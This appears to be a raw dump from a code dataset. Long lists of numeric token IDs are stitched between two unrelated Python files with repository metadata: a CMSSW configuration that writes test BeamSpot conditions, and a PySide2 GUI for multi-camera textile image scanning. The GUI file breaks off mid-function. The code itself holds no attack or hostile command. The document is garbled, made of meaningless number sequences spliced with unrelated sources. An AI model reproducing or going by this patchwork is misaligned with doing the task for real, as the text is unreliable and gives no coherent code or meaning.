29899,
18800,
613,
13,
9651,
376,
29911,
1092,
5495,
613,
13,
9651,
376,
29956,
279,
613,
13,
9651,
376,
16128,
824,
613,
13,
4706,
4514,
13,
13,
4706,
2531,
690,
29918,
353,
518,
13,
9651,
376,
26690,
613,
13,
9651,
376,
4276,
613,
13,
9651,
376,
3253,
794,
545,
613,
13,
9651,
376,
13579,
613,
13,
9651,
376,
5938,
29878,
575,
613,
13,
9651,
376,
1523,
7584,
613,
13,
9651,
376,
20647,
603,
613,
13,
9651,
376,
6268,
653,
613,
13,
9651,
376,
29928,
20556,
613,
13,
9651,
376,
29943,
424,
8995,
613,
13,
9651,
376,
3434,
29885,
29918,
3782,
381,
613,
13,
9651,
376,
17241,
729,
613,
13,
9651,
376,
14958,
936,
613,
13,
9651,
376,
29924,
858,
708,
613,
13,
9651,
376,
29934,
290,
749,
613,
13,
9651,
376,
29903,
455,
29899,
18800,
613,
13,
9651,
376,
29911,
1092,
5495,
613,
13,
9651,
376,
29956,
279,
613,
13,
9651,
376,
16128,
824,
613,
13,
4706,
4514,
13,
13,
4706,
2351,
583,
353,
10518,
29889,
949,
29918,
7638,
29898,
13,
9651,
2897,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
376,
828,
29899,
29896,
29900,
29900,
29895,
29914,
29884,
29889,
667,
4968,
2983,
29922,
22724,
29892,
16345,
543,
29989,
613,
8025,
543,
5066,
262,
29896,
29908,
13,
4706,
1723,
13,
4706,
363,
784,
297,
2531,
690,
29918,
29901,
13,
9651,
2351,
583,
29961,
1054,
29962,
353,
2351,
583,
29961,
1054,
1822,
6506,
29898,
29896,
29892,
784,
29897,
13,
9651,
2351,
583,
29961,
1054,
29962,
353,
2351,
583,
29961,
1054,
1822,
6506,
29898,
29900,
29892,
7442,
29889,
13707,
29897,
13,
4706,
269,
353,
2351,
583,
29961,
1885,
690,
29918,
29962,
13,
4706,
269,
29889,
1333,
4304,
580,
13,
4706,
2351,
583,
3366,
1885,
690,
3108,
353,
269,
29889,
1333,
4304,
2141,
6333,
29898,
29879,
29889,
13099,
718,
28796,
467,
710,
7503,
29899,
29896,
29962,
13,
4706,
2351,
583,
29918,
13441,
287,
353,
2351,
583,
29961,
13,
9651,
6796,
27362,
1204,
613,
376,
3257,
613,
376,
14096,
29918,
1256,
613,
376,
9641,
29918,
14096,
29918,
1256,
613,
376,
1885,
690,
613,
376,
326,
2585,
29918,
4219,
3108,
13,
4706,
4514,
13,
4706,
2351,
583,
29918,
13441,
287,
29889,
517,
29918,
862,
12621,
29898,
13,
9651,
2897,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
376,
828,
29899,
29896,
29900,
29900,
29895,
29914,
13529,
583,
29918,
13441,
287,
29889,
862,
12621,
1159,
13,
4706,
1723,
13,
4706,
7945,
353,
10518,
29889,
949,
29918,
7638,
29898,
13,
9651,
2897,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
376,
828,
29899,
29896,
29900,
29900,
29895,
29914,
3357,
29889,
3188,
4968,
13,
9651,
2983,
29922,
3366,
29721,
613,
376,
27362,
1204,
613,
376,
29741,
613,
376,
16394,
12436,
13,
9651,
16345,
543,
29905,
29873,
613,
13,
4706,
1723,
13,
4706,
2854,
353,
10518,
29889,
949,
29918,
7638,
29898,
13,
9651,
2897,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
376,
828,
29899,
29896,
29900,
29900,
29895,
29914,
3357,
29889,
1688,
4968,
13,
9651,
2983,
29922,
3366,
29721,
613,
376,
27362,
1204,
613,
376,
29741,
613,
376,
16394,
12436,
13,
9651,
16345,
543,
29905,
29873,
613,
13,
4706,
1723,
13,
4706,
7945,
353,
7945,
29889,
14634,
29898,
1792,
29918,
22100,
29892,
373,
543,
29721,
613,
920,
543,
1563,
1159,
13,
4706,
7945,
353,
7945,
29889,
14634,
29898,
13529,
583,
29918,
13441,
287,
29892,
373,
543,
27362,
1204,
613,
920,
543,
1563,
1159,
13,
4706,
2854,
353,
2854,
29889,
14634,
29898,
1792,
29918,
22100,
29892,
373,
543,
29721,
613,
920,
543,
1563,
1159,
13,
4706,
2854,
353,
2854,
29889,
14634,
29898,
13529,
583,
29918,
13441,
287,
29892,
373,
543,
27362,
1204,
613,
920,
543,
1563,
1159,
13,
4706,
7945,
29889,
517,
29918,
862,
12621,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
376,
828,
29899,
29896,
29900,
29900,
29895,
29914,
14968,
29889,
862,
12621,
5783,
13,
4706,
2854,
29889,
517,
29918,
862,
12621,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
376,
828,
29899,
29896,
29900,
29900,
29895,
29914,
3084,
29889,
862,
12621,
5783,
13,
13,
4706,
6635,
29918,
22100,
353,
518,
13,
9651,
376,
29721,
613,
13,
9651,
376,
27362,
1204,
613,
13,
9651,
376,
26098,
613,
13,
9651,
376,
26601,
613,
13,
9651,
376,
7554,
29918,
401,
613,
13,
9651,
376,
1885,
690,
613,
13,
4706,
4514,
5099,
302,
21908,
29889,
3554,
29889,
29907,
20440,
1598,
29898,
29881,
1853,
543,
524,
29941,
29906,
1159,
13,
13,
4706,
640,
29918,
7039,
353,
6796,
482,
3108,
13,
4706,
24371,
353,
8853,
482,
1115,
518,
29900,
29892,
29871,
29896,
29900,
29892,
29871,
29906,
29900,
29892,
29871,
29941,
29900,
29892,
29871,
29946,
29900,
29892,
29871,
29945,
29900,
29892,
29871,
29953,
29900,
29892,
29871,
29955,
29900,
29892,
29871,
29947,
29900,
29892,
29871,
29929,
29900,
12258,
13,
4706,
5046,
29918,
21454,
353,
640,
29918,
7039,
5099,
288,
567,
29889,
29933,
2707,
300,
675,
29898,
9917,
4314,
29897,
5099,
288,
567,
29889,
2528,
18417,
29898,
11338,
29922,
3366,
1792,
20068,
13,
13,
4706,
3858,
353,
302,
21908,
29889,
4409,
10378,
29898,
3366,
29741,
20068,
13,
13,
4706,
396,
17157,
1174,
401,
14064,
1204,
1897,
13,
4706,
734,
29918,
22100,
353,
6796,
27362,
1204,
3108,
5099,
288,
567,
29889,
8667,
14934,
29898,
1643,
29892,
413,
8771,
29922,
29945,
29892,
282,
29918,
3844,
6983,
29922,
29906,
29900,
29897,
13,
13,
4706,
734,
29918,
22100,
29918,
12324,
353,
734,
29918,
22100,
5099,
288,
567,
29889,
19077,
675,
8140,
7976,
580,
13,
13,
4706,
396,
2302,
19750,
421,
29721,
29952,
13,
4706,
2302,
29918,
1188,
459,
29918,
1725,
271,
353,
313,
13,
9651,
6796,
29721,
3108,
5099,
288,
567,
29889,
17242,
4782,
1609,
29898,
1285,
29918,
22724,
29922,
3366,
27362,
1204,
12436,
22663,
29922,
3366,
2798,
20068,
5099,
288,
567,
29889,
3403,
11746,
580,
13,
4706,
1723,
13,
13,
4706,
1238,
1446,
29918,
667,
353,
6635,
29918,
22100,
3366,
27362,
1204,
3108,
5099,
288,
567,
29889,
2528,
18417,
29898,
11338,
29922,
3366,
667,
29918,
333,
613,
376,
667,
20068,
13,
4706,
1238,
1446,
29918,
1792,
353,
6635,
29918,
22100,
3366,
29721,
3108,
5099,
288,
567,
29889,
2528,
18417,
29898,
11338,
29922,
3366,
1792,
29918,
333,
613,
376,
1792,
20068,
13,
4706,
1238,
1446,
29918,
1885,
690,
353,
6635,
29918,
22100,
3366,
1885,
690,
3108,
5099,
288,
567,
29889,
2528,
18417,
29898,
11338,
29922,
3366,
667,
20068,
13,
4706,
1404,
29918,
22100,
353,
6635,
29918,
22100,
3366,
26098,
613,
376,
7554,
29918,
401,
3108,
5099,
288,
567,
29889,
2528,
18417,
29898,
11338,
29922,
3366,
1792,
20068,
13,
13,
4706,
1238,
1446,
29918,
5182,
353,
313,
13,
9651,
302,
21908,
29889,
4409,
10378,
29898,
3366,
29741,
20068,
13,
9651,
5099,
288,
567,
29889,
9099,
11746,
29898,
2892,
784,
29901,
313,
1054,
1405,
29871,
29941,
467,
579,
668,
703,
524,
29941,
29906,
5783,
13,
9651,
5099,
288,
567,
29889,
2528,
18417,
29898,
11338,
29922,
3366,
19541,
29918,
1990,
2450,
613,
376,
5182,
20068,
13,
9651,
5099,
302,
21908,
29889,
3554,
29889,
29934,
3871,
29898,
978,
543,
29741,
29918,
19541,
1159,
13,
4706,
1723,
13,
4706,
3646,
29918,
12683,
353,
6796,
29741,
3108,
5099,
288,
567,
29889,
2528,
18417,
29898,
11338,
29922,
3366,
276,
11476,
613,
376,
5182,
20068,
13,
13,
4706,
27321,
353,
302,
21908,
29889,
5531,
1731,
29898,
13,
9651,
1238,
1446,
29918,
667,
13,
9651,
718,
1238,
1446,
29918,
1792,
13,
9651,
718,
1238,
1446,
29918,
1885,
690,
13,
9651,
718,
734,
29918,
22100,
29918,
12324,
13,
9651,
718,
2302,
29918,
1188,
459,
29918,
1725,
271,
13,
9651,
718,
1404,
29918,
22100,
13,
9651,
718,
3646,
29918,
12683,
13,
9651,
718,
1238,
1446,
29918,
5182,
13,
9651,
718,
5046,
29918,
21454,
13,
9651,
718,
6796,
3257,
3108,
13,
4706,
1723,
13,
13,
1678,
1683,
29901,
13,
4706,
12020,
7865,
2392,
29898,
13,
9651,
376,
14148,
8783,
1024,
29889,
9333,
14104,
709,
575,
29871,
29906,
29945,
29924,
322,
29871,
29896,
29900,
29900,
29895,
20035,
526,
6969,
1213,
13,
4706,
1723,
13,
13,
1678,
7945,
29918,
24713,
353,
302,
21908,
29889,
16390,
24541,
4197,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
1024,
29892,
376,
14968,
29889,
862,
12621,
1159,
2314,
13,
1678,
2854,
29918,
24713,
353,
302,
21908,
29889,
16390,
24541,
4197,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
1024,
29892,
376,
3084,
29889,
862,
12621,
1159,
2314,
13,
13,
1678,
565,
2224,
29889,
9933,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
1024,
29892,
376,
14968,
5783,
29901,
13,
4706,
528,
4422,
29889,
1758,
8336,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
1024,
29892,
376,
14968,
5783,
13,
1678,
565,
2224,
29889,
9933,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
1024,
29892,
376,
3084,
5783,
29901,
13,
4706,
528,
4422,
29889,
1758,
8336,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
1024,
29892,
376,
3084,
5783,
13,
13,
1678,
27321,
29889,
9202,
29898,
14968,
29918,
24713,
29897,
13,
1678,
27321,
29889,
9067,
29898,
14968,
29918,
24713,
467,
517,
29918,
862,
12621,
29898,
13,
4706,
1962,
29918,
2084,
29922,
359,
29889,
2084,
29889,
7122,
29898,
4905,
3972,
29892,
1024,
29892,
376,
14968,
4968,
13,
4706,
714,
29918,
5325,
29918,
546,
29918,
15439,
29922,
29896,
29892,
13,
4706,
528,
21897,
29922,
8824,
29892,
13,
1678,
1723,
13,
1678,
27321,
29889,
9067,
29898,
3084,
29918,
24713,
467,
517,
29918,
862,
12621,
29898,
13,
4706,
1962,
29918,
2084,
29922,
359,
29889,
2084,
29889,
7122,
29898,
4905,
3972,
29892,
1024,
29892,
376,
3084,
4968,
13,
4706,
714,
29918,
5325,
29918,
546,
29918,
15439,
29922,
29896,
29892,
13,
4706,
528,
21897,
29922,
8824,
29892,
13,
1678,
1723,
13,
1678,
396,
16913,
278,
27321,
13,
1678,
27321,
29889,
7620,
29898,
359,
29889,
2084,
29889,
7122,
29898,
4905,
3972,
29892,
1024,
29892,
376,
1287,
1731,
5783,
13,
13,
1678,
17927,
29889,
3888,
703,
29879,
5555,
278,
27321,
636,
1159,
13,
2
] |
CondCore/ESSources/test/python/write_beamspot_cfg.py | PKUfudawei/cmssw | 1 | 173974 | <filename>CondCore/ESSources/test/python/write_beamspot_cfg.py
from __future__ import print_function
import time
import FWCore.ParameterSet.Config as cms
import FWCore.ParameterSet.VarParsing as VarParsing
from Configuration.AlCa.autoCond import autoCond
options = VarParsing.VarParsing()
options.register('connectionString',
'sqlite_file:cms_conditions.db', #default value
VarParsing.VarParsing.multiplicity.singleton,
VarParsing.VarParsing.varType.string,
"CondDB Connection string")
options.register('tag',
'BeamSpot_test_updateByLumi_00',
VarParsing.VarParsing.multiplicity.singleton,
VarParsing.VarParsing.varType.string,
"tag for record BeamSpotObjectsRcd")
options.register('runNumber',
250000, #default value, int limit -3
VarParsing.VarParsing.multiplicity.singleton,
VarParsing.VarParsing.varType.int,
"Run number; default gives latest IOV")
options.register('messageLevel',
0, #default value
VarParsing.VarParsing.multiplicity.singleton,
VarParsing.VarParsing.varType.int,
"Message level; default to 0")
options.parseArguments()
process = cms.Process("TEST")
process.MessageLogger = cms.Service("MessageLogger",
cout = cms.untracked.PSet(threshold = cms.untracked.string('INFO')),
destinations = cms.untracked.vstring('cout')
)
CondDBParameters = cms.PSet(
messageLevel = cms.untracked.int32( 3 ),
)
process.source = cms.Source( "EmptySource",
firstRun = cms.untracked.uint32( 1 ),
firstLuminosityBlock = cms.untracked.uint32( 1 ),
numberEventsInRun = cms.untracked.uint32( 1 ),
numberEventsInLuminosityBlock = cms.untracked.uint32( 1 )
)
process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(1))
process.prod = cms.EDAnalyzer("LumiTestWriteAnalyzer",
connectionString = cms.untracked.string(options.connectionString ),
tagName = cms.untracked.string(options.tag),
runNumber = cms.untracked.uint32(options.runNumber),
numberOfLumis = cms.untracked.uint32(24),
iovSize = cms.untracked.uint32(4)
)
process.p = cms.Path( process.prod )
for name, module in process.es_sources_().items():
print("ESModules> provider:%s '%s'" % ( name, module.type_() ))
for name, module in process.es_producers_().items():
print("ESModules> provider:%s '%s'" % ( name, module.type_() ))
| [
1,
529,
9507,
29958,
10983,
9203,
29914,
29923,
1799,
2863,
29914,
1688,
29914,
4691,
29914,
3539,
29918,
915,
314,
17500,
29918,
16859,
29889,
2272,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
13,
5215,
931,
13,
13,
5215,
383,
29956,
9203,
29889,
9329,
2697,
29889,
3991,
408,
274,
1516,
13,
5215,
383,
29956,
9203,
29889,
9329,
2697,
29889,
9037,
29925,
1503,
292,
408,
11681,
29925,
1503,
292,
13,
3166,
20999,
29889,
2499,
26270,
29889,
6921,
10983,
1053,
4469,
10983,
13,
13,
6768,
353,
11681,
29925,
1503,
292,
29889,
9037,
29925,
1503,
292,
580,
13,
6768,
29889,
9573,
877,
9965,
1231,
742,
13,
462,
525,
22793,
29918,
1445,
29901,
29883,
1516,
29918,
1116,
2187,
29889,
2585,
742,
396,
4381,
995,
13,
462,
11681,
29925,
1503,
292,
29889,
9037,
29925,
1503,
292,
29889,
18056,
17024,
29889,
2976,
11285,
29892,
13,
462,
11681,
29925,
1503,
292,
29889,
9037,
29925,
1503,
292,
29889,
1707,
1542,
29889,
1807,
29892,
13,
462,
376,
10983,
4051,
15160,
1347,
1159,
13,
6768,
29889,
9573,
877,
4039,
742,
13,
462,
525,
3629,
314,
5592,
327,
29918,
1688,
29918,
5504,
2059,
29931,
15547,
29918,
29900,
29900,
742,
13,
462,
11681,
29925,
1503,
292,
29889,
9037,
29925,
1503,
292,
29889,
18056,
17024,
29889,
2976,
11285,
29892,
13,
462,
11681,
29925,
1503,
292,
29889,
9037,
29925,
1503,
292,
29889,
1707,
1542,
29889,
1807,
29892,
13,
462,
376,
4039,
363,
2407,
1522,
314,
5592,
327,
12724,
29934,
2252,
1159,
13,
6768,
29889,
9573,
877,
3389,
4557,
742,
13,
462,
29871,
29906,
29945,
29900,
29900,
29900,
29900,
29892,
396,
4381,
995,
29892,
938,
4046,
448,
29941,
13,
462,
11681,
29925,
1503,
292,
29889,
9037,
29925,
1503,
292,
29889,
18056,
17024,
29889,
2976,
11285,
29892,
13,
462,
11681,
29925,
1503,
292,
29889,
9037,
29925,
1503,
292,
29889,
1707,
1542,
29889,
524,
29892,
13,
462,
376,
6558,
1353,
29936,
2322,
4076,
9281,
10663,
29963,
1159,
13,
6768,
29889,
9573,
877,
4906,
10108,
742,
13,
462,
29871,
29900,
29892,
396,
4381,
995,
13,
462,
11681,
29925,
1503,
292,
29889,
9037,
29925,
1503,
292,
29889,
18056,
17024,
29889,
2976,
11285,
29892,
13,
462,
11681,
29925,
1503,
292,
29889,
9037,
29925,
1503,
292,
29889,
1707,
1542,
29889,
524,
29892,
13,
462,
376,
3728,
3233,
29936,
2322,
304,
29871,
29900,
1159,
13,
13,
6768,
29889,
5510,
26915,
580,
13,
13,
5014,
353,
274,
1516,
29889,
7032,
703,
18267,
1159,
13,
13,
5014,
29889,
3728,
16363,
353,
274,
1516,
29889,
3170,
703,
3728,
16363,
613,
13,
462,
462,
1678,
11196,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
29925,
2697,
29898,
386,
12268,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
1807,
877,
11690,
1495,
511,
13,
462,
462,
1678,
15422,
800,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
29894,
1807,
877,
13147,
1495,
13,
462,
462,
1678,
1723,
13,
13,
10983,
4051,
11507,
353,
274,
1516,
29889,
29925,
2697,
29898,
29871,
13,
462,
632,
2643,
10108,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
524,
29941,
29906,
29898,
29871,
29941,
10353,
13,
462,
632,
1723,
13,
13,
5014,
29889,
4993,
353,
274,
1516,
29889,
4435,
29898,
376,
8915,
4435,
613,
13,
462,
632,
937,
6558,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
13470,
29941,
29906,
29898,
29871,
29896,
10353,
13,
462,
632,
937,
29931,
398,
8226,
537,
7445,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
13470,
29941,
29906,
29898,
29871,
29896,
10353,
13,
462,
632,
1353,
13634,
797,
6558,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
13470,
29941,
29906,
29898,
29871,
29896,
10353,
29871,
13,
462,
632,
1353,
13634,
797,
29931,
398,
8226,
537,
7445,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
13470,
29941,
29906,
29898,
29871,
29896,
1723,
13,
462,
632,
1723,
13,
13,
5014,
29889,
3317,
13634,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
29925,
2697,
29898,
1881,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
524,
29941,
29906,
29898,
29896,
876,
13,
13,
5014,
29889,
10633,
353,
274,
1516,
29889,
3352,
2744,
14997,
3298,
703,
29931,
15547,
3057,
6113,
2744,
14997,
3298,
613,
13,
462,
795,
3957,
1231,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
1807,
29898,
6768,
29889,
9965,
1231,
10353,
13,
462,
795,
4055,
1170,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
1807,
29898,
6768,
29889,
4039,
511,
13,
462,
795,
1065,
4557,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
13470,
29941,
29906,
29898,
6768,
29889,
3389,
4557,
511,
13,
462,
795,
1353,
2776,
29931,
398,
275,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
13470,
29941,
29906,
29898,
29906,
29946,
511,
13,
462,
795,
474,
586,
3505,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
13470,
29941,
29906,
29898,
29946,
29897,
13,
29897,
13,
13,
5014,
29889,
29886,
353,
274,
1516,
29889,
2605,
29898,
1889,
29889,
10633,
1723,
13,
13,
1454,
1024,
29892,
3883,
297,
1889,
29889,
267,
29918,
29879,
2863,
29918,
2141,
7076,
7295,
13,
1678,
1596,
703,
2890,
2111,
2540,
29958,
13113,
16664,
29879,
14210,
29879,
11838,
1273,
313,
1024,
29892,
3883,
29889,
1853,
29918,
580,
29871,
876,
13,
1454,
1024,
29892,
3883,
297,
1889,
29889,
267,
29918,
5498,
22543,
29918,
2141,
7076,
7295,
13,
1678,
1596,
703,
2890,
2111,
2540,
29958,
13113,
16664,
29879,
14210,
29879,
11838,
1273,
313,
1024,
29892,
3883,
29889,
1853,
29918,
580,
29871,
876,
13,
2
] |
main.py | leehsong/FabricNewGUI | 1 | 71900 | ################################################################################
##
## BY: <NAME>
## PROJECT MADE WITH: Qt Designer and PySide2
## V: 1.0.0
##
## This project can be used freely for all uses, as long as they maintain the
## respective credits only in the Python scripts, any information in the visual
## interface (GUI) can be modified without any implication.
##
## There are limitations on Qt licenses if you want to use your products
## commercially, I recommend reading them on the official website:
## https://doc.qt.io/qtforpython/licenses.html
##
################################################################################
import sys, os
import platform
from PySide2 import QtCore, QtGui, QtWidgets
from PySide2.QtCore import (Signal, QCoreApplication, QPropertyAnimation, QDate, QDateTime, QMetaObject, QObject, QPoint, QRect, QSize, QTime, QUrl, Qt, QEvent)
from PySide2.QtGui import (QBrush, QColor, QConicalGradient, QCursor, QFont, QFontDatabase, QIcon, QKeySequence, QLinearGradient, QPalette, QPainter, QPixmap, QRadialGradient)
from PySide2.QtWidgets import *
import subprocess
from watchdog.observers import Observer
from watchdog.events import LoggingEventHandler
import logging
import time
from PIL import Image, ImageDraw, ImageFont
# GUI FILE
from app_modules import *
file_list = []
file_sender = []
DIR = ''
updated_files = {'1_1':'1_FileName0.tif'}
class Event(LoggingEventHandler):
def on_modified(self, event):
filename = event.src_path[12:]
keyname = event.src_path[10] +"_"+event.src_path[12]
# print(keyname)
updated_files[keyname]=filename
# print(f'event type: {event.event_type} path : {event.src_path[10:]}')
class MainWindow(QMainWindow):
def __init__(self):
QMainWindow.__init__(self)
self.ui = Ui_MainWindow()
self.ui.setupUi(self)
## PRINT ==> SYSTEM
print('System: ' + platform.system())
print('Version: ' + platform.release())
########################################################################
## START - WINDOW ATTRIBUTES
########################################################################
## REMOVE ==> STANDARD TITLE BAR
UIFunctions.removeTitleBar(True)
## ==> END ##
## SET ==> WINDOW TITLE
self.setWindowTitle('Bushin AI')
UIFunctions.labelTitle(self, 'Bushin AI')
UIFunctions.labelDescription(self, 'Get the raw data.')
## ==> END ##
## WINDOW SIZE ==> DEFAULT SIZE
startSize = QSize(1000, 720)
self.resize(startSize)
self.setMinimumSize(startSize)
# UIFunctions.enableMaximumSize(self, 500, 720)
## ==> END ##
## ==> CREATE MENUS
########################################################################
## ==> TOGGLE MENU SIZE
self.ui.btn_toggle_menu.clicked.connect(lambda: UIFunctions.toggleMenu(self, 175, True))
## ==> END ##
## ==> ADD CUSTOM MENUS
self.ui.stackedWidget.setMinimumWidth(20)
UIFunctions.addNewMenu(self, "이미지 수집", "btn_raw_data", "url(:/16x16/icons/16x16/cil-library-add.png)", True)
UIFunctions.addNewMenu(self, "이미지 분석", "btn_learning", "url(:/16x16/icons/16x16/cil-laptop.png)", True)
UIFunctions.addNewMenu(self, "데이터 관리", "btn_result", "url(:/16x16/icons/16x16/cil-find-in-page.png)", True)
UIFunctions.addNewMenu(self, "Setting", "btn_setting", "url(:/16x16/icons/16x16/cil-settings.png)", False)
# UIFunctions.addNewMenu(self, "Custom Widgets", "btn_widgets", "url(:/16x16/icons/16x16/cil-equalizer.png)", False)
## ==> END ##
# START MENU => SELECTION
UIFunctions.selectStandardMenu(self, "btn_raw_data")
## ==> END ##
## ==> START PAGE
self.ui.stackedWidget.setCurrentWidget(self.ui.page_collection)
## ==> END ##
## USER ICON ==> SHOW HIDE
UIFunctions.userIcon(self, "EZ", "", True)
## ==> END ##
## ==> MOVE WINDOW / MAXIMIZE / RESTORE
########################################################################
def moveWindow(event):
# IF MAXIMIZED CHANGE TO NORMAL
if UIFunctions.returStatus() == 1:
UIFunctions.maximize_restore(self)
# MOVE WINDOW
if event.buttons() == Qt.LeftButton:
self.move(self.pos() + event.globalPos() - self.dragPos)
self.dragPos = event.globalPos()
event.accept()
# WIDGET TO MOVE
self.ui.frame_label_top_btns.mouseMoveEvent = moveWindow
## ==> END ##
## ==> LOAD DEFINITIONS
########################################################################
UIFunctions.uiDefinitions(self)
## ==> END ##
########################################################################
## END - WINDOW ATTRIBUTES
############################## ---/--/--- ##############################
########################################################################
# #
## START -------------- WIDGETS FUNCTIONS/PARAMETERS ---------------- ##
# #
## ==> USER CODES BELLOW ##
########################################################################
## ==> QTableWidget RARAMETERS
########################################################################
self.ui.tableWidget.horizontalHeader().setSectionResizeMode(QtWidgets.QHeaderView.Stretch)
## ==> END ##
########################################################################
# #
## END --------------- WIDGETS FUNCTIONS/PARAMETERS ----------------- ##
# #
############################## ---/--/--- ##############################
## SHOW ==> MAIN WINDOW
########################################################################
self.show()
## ==> END ##
# 이미지 수집
self.ui.btn_cam1.setCheckable(True)
self.ui.btn_cam1.clicked.connect(self.toggle_btn_cam1)
self.ui.btn_cam2.setCheckable(True)
self.ui.btn_cam2.clicked.connect(self.toggle_btn_cam2)
self.ui.btn_cam3.setCheckable(True)
self.ui.btn_cam3.clicked.connect(self.toggle_btn_cam3)
self.ui.btn_test.clicked.connect(self.btn_test)
self.ui.btn_scan.clicked.connect(self.btn_scan)
# 이미지 분석
self.label_ = []
self.ui.comboBox_2.currentIndexChanged.connect(self.onComboBox_2)
self.onComboBox_2(0) # 초기 기본 셋팅: 3열
# 데이터 관리
self.pixmap = QPixmap("On.png")
self.ui.textile_image.setPixmap(self.pixmap)
self.ui.textile_image.setScaledContents(True)
self.pixmap = QPixmap("Off.png")
self.ui.mask_image.setPixmap(self.pixmap)
self.ui.mask_image.setScaledContents(True)
# 이미지 수집
def toggle_btn_cam1(self, state):
if state == True:
process0 = subprocess.Popen("python grab_2camera.py turnon 0 Test 1")
print("btn_cam1: On")
else:
process0 = subprocess.Popen("python grab_2camera.py turnoff 0 Test 1")
print("btn_cam1: Off")
def toggle_btn_cam2(self, state):
if state == True:
process0 = subprocess.Popen("python grab_2camera_multi.py turnon 1 Test 1")
print("btn_cam2: On")
else:
process0 = subprocess.Popen("python grab_2camera_multi.py turnoff 1 Test 1")
print("btn_cam2: Off")
def toggle_btn_cam3(self, state):
if state == True:
process0 = subprocess.Popen("python grab_2camera_multi.py turnon 2 Test 1")
print("btn_cam3: On")
else:
process0 = subprocess.Popen("python grab_2camera_multi.py turnoff 2 Test 1")
print("btn_cam3: Off")
def save_temp_image(self, filename):
if len(updated_files) < 6:
return
# time.sleep(0)
keys = ['1_1', '1_2', '2_1', '2_2','3_1', '3_2']
scannerid = [1, 1, 2, 2, 3, 3]
new_image = Image.new('RGB', (320*2, 220*3))
fnt = ImageFont.truetype(os.path.join('./fonts/segoeui.ttf'), 15)
for i in range(0, 6):
image = Image.open('./Scanner/{}/{}'.format(scannerid[i],updated_files[keys[i]]))
image_small = image.resize((300,200))
d = ImageDraw.Draw(image_small)
d.text((10, 10), '{}/{}'.format(keys[i], updated_files[keys[i]]), font=fnt, fill=(255, 255, 255))
new_image.paste(image_small, ((i%2)*320 + 10, (scannerid[i]-1)*220 + 10))
new_image.save(filename, "JPEG")
def btn_test(self):
print("btn_test: pressed")
process0 = subprocess.Popen("python grab_2camera_multi_sync.py scan 1 Test 1")
process1 = subprocess.Popen("python grab_2camera_multi_sync.py scan 2 Test 1")
process2 = subprocess.Popen("python grab_2camera_multi_sync.py scan 3 Test 1")
logging.basicConfig(level=logging.INFO,
format='%(asctime)s - %(message)s',
datefmt='%Y-%m-%d %H:%M:%S')
event_handler = Event()
observer = Observer()
observer.schedule(event_handler, './Scanner', recursive=True)
observer.start()
index = 0
try:
while True:
time.sleep(1)
poll = process1.poll()
if poll == None:
print("Check update")
# self.save_temp_image('./Merge/{}.jpg'.format(index))
index = index + 1
print(updated_files)
else:
observer.stop()
break
except KeyboardInterrupt:
observer.stop()
self.save_temp_image('test_scan.jpg')
self.pixmap = QPixmap('test_scan.jpg')
self.ui.label_scan_image.setPixmap(self.pixmap)
self.ui.label_scan_image.setScaledContents(True)
def btn_scan(self):
print("btn_scan: pressed")
self.pixmap = QPixmap("Off.png")
self.ui.label_scan_image.setPixmap(self.pixmap)
self.ui.label_scan_image.setScaledContents(True)
# 이미지 분석
def onComboBox_2(self, index):
# 폴더에 있는 파일 리스트를 불러옴
global DIR
global file_list
global file_sender
file_sender.clear()
DIR = './icons/24x24' # 파일 있는 경로
file_list = [name for name in os.listdir(DIR) if os.path.isfile(os.path.join(DIR, name))]
# file_list = os.listdir(folder_name)
# div = 행의 개수
if len(file_list) // (index+3) == 0: # int(파일 개수 / 열)
div = 1
elif len(file_list) % (index+3) == 0: # 파일 개수를 열로 나눈 나머지
div = len(file_list) // (index+3)
else:
div = len(file_list) // (index+3) + 1 # int(파일 개수 / 열) + 1
# print(range(0, div))
# print(range(len(self.label_)))
print(f"총 파일 개수: {len(file_list)}개")
if len(self.label_) > 0:
for i in range(len(self.label_)):
if i < len(file_list):
# print(i)
self.label_[i].deleteLater()
self.label_.clear()
for file_name in file_list:
self.label_.append(file_name)
def clickable(widget):
class Filter(QObject):
clicked = Signal()
def eventFilter(self, obj, event):
if obj == widget:
if event.type() == QEvent.MouseButtonRelease:
if obj.rect().contains(event.pos()):
self.clicked.emit()
# The developer can opt for .emit(obj) to get the object within the slot.
return True
return False
filter = Filter(widget)
widget.installEventFilter(filter)
file_sender.append(filter)
return filter.clicked
for i in range(0, div):
for j in range(index+3):
# print(i, j)
num = i * (index+3) + j
if num < len(file_list):
# print(num)
self.label_[num] = QLabel(self.ui.scrollAreaWidgetContents_4)
self.label_[num].setText("")
self.label_[num].setObjectName(f"label_{num}")
self.ui.gridLayout_6.addWidget(self.label_[num], int(i), int(j), 1, 1)
self.pixmap = QPixmap(f"{DIR}/{file_list[num]}")
